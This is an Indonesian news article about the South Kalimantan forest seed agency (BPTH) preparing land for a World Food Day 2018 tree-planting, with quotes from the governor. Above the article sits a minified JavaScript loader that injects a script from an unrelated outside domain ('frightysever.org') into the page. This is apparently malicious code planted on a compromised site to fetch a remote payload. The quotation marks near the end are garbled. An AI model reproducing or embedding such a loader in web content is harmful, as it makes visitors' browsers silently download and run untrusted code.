(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BPTH Terus Mempersiapkan Gelaran Hari Pangan Sedunia XXXVIII

BANJARBARU, Sebagai upaya turut serta mensukseskan Hari Pangan Sedunia (HPS) XXXVIII pada pertengahan Oktober 2018 nanti, Dishut Provinsi Kalsel melalui Balai Perbenihan Tanaman Hutan (BPTH) terus melaksanakan langkah-langkah persiapan di areal MH2T yang dijadikan lokasi penanaman HPS, Senin (27/8).

Langkah-langkah persiapan di antaranya penentuan arah larikan, pemasangan ajir, penggemburan tanah dan pembuatan lubang tanam. Penentuan arah larikan ditentukan berdasarkan kondisi lahan seperti topografi dan kontur yang ada, dengan menggunakan kompas untuk penentuan Utara-Selatan dan roll meter untuk penentuan jarak tanam. Pemasangan ajir pada prinsipnya memberi tanda pada lubang tanam, ajir dibuat dari kayu pancang diameter kecil dengan panjang 150 cm yang salah satu ujungnya dibuat runcing agar memudahkan penancapan ke tanah.

Penggemburan tanah dilakukan dengan menggunakan traktor bajak dan pembuatan lubang tanam menggunakan mini eksavator. Kegiatan-kegiatan persiapan tersebut di atas dilaksanakan oleh Kru BPTH dibantu para tenaga harian.

Gubernur Kalsel H Sahbirin Noor dalam instruksinya mengatakan, semua pihak harus saling bahu-membahu menyukseskan HPS. Baik unsur pemerintah, TNI, dan masyarakat setempat. ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œKalsel memiliki target untuk meningkatkan produktivitas pertanian,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â tegasnya. (rendy)

Reporter: Rendy
Editor: Chell